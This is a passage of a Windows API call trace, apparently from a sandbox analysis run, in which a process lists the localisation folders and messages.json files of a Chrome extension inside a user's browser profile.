nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.199] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.199] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c28c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.199] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.199] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.199] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0057.200] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.200] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.200] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c9df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.200] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.200] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.200] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0057.200] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.201] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.201] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835d1320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x49c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.201] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.201] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.201] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0057.201] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.202] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.202] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.202] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.202] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.202] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1 [0057.202] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.203] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.203] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dfd80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.203] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.203] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.203] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1 [0057.203] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.204] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.204] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835e72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e99c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x563d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.204] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.204] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.204] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1 [0057.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.205] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.205] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f0ef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5593, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.205] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.205] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.205] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0057.205] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.205] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.206] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f8420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835fab30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.206] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.206] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.206] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0057.206] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.207] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.207] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835ff950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83602060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.207] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.207] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.207] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0057.207] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.207] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.207] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8360e3b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83610ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x48f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.208] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.208] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.208] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0057.208] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 